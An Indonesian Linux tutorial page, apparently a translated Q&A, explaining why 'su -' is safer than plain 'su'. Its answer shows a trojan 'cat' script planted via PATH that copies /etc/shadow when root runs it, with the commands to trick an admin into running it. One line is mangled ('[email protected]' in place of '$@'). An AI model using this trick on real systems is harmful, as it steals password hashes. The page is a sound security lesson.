GNU/Linux >> Belajar Linux >  >> Linux

Linux – Mengapa Kami Menggunakan Su – Dan Bukan Hanya Su?

Saya tidak mengerti mengapa su - lebih disukai daripada su untuk login sebagai root.

Jawaban yang Diterima:

su - memanggil shell login setelah mengganti pengguna. Shell login mengatur ulang sebagian besar variabel lingkungan, menyediakan basis yang bersih.

su hanya mengganti pengguna, menyediakan shell normal dengan lingkungan yang hampir sama dengan pengguna lama.

Bayangkan, Anda seorang pengembang perangkat lunak dengan akses pengguna normal ke mesin dan admin Anda yang bodoh tidak akan memberi Anda akses root. Mari (semoga) menipu dia.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Sekarang, Anda bertanya kepada admin Anda mengapa Anda tidak bisa cat file dummy di folder rumah Anda, itu tidak akan berfungsi!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Jika admin Anda tidak terlalu pintar atau hanya sedikit malas, dia mungkin datang ke meja Anda dan mencoba dengan kekuatan pengguna supernya:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Terima kasih, admin super!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Dia, dia.

Anda mungkin memperhatikan bahwa $PATH . yang rusak variabel tidak diatur ulang. Ini tidak akan terjadi, jika admin memanggil su - sebagai gantinya.


Linux
  1. Mengapa saya menggunakan Linux untuk mengelola studio yoga saya

  2. Mengapa Rm -rf Dan Bukan Rmdir -rf?

  3. Mengapa kita menggunakan su - dan bukan hanya su?

  1. Cara Menginstal Dan Menggunakan Flatpak Di Linux

  2. Cara Menginstal dan Menggunakan Traceroute di Linux

  3. VirtualBox di Linux:Gambar Windows apa yang digunakan dan di mana mendapatkannya?

  1. 7 perintah Linux untuk digunakan hanya untuk bersenang-senang

  2. Mengapa saya menggunakan exa daripada ls di Linux

  3. Bagaimana Cara Menginstal dan Menggunakan Layar Linux?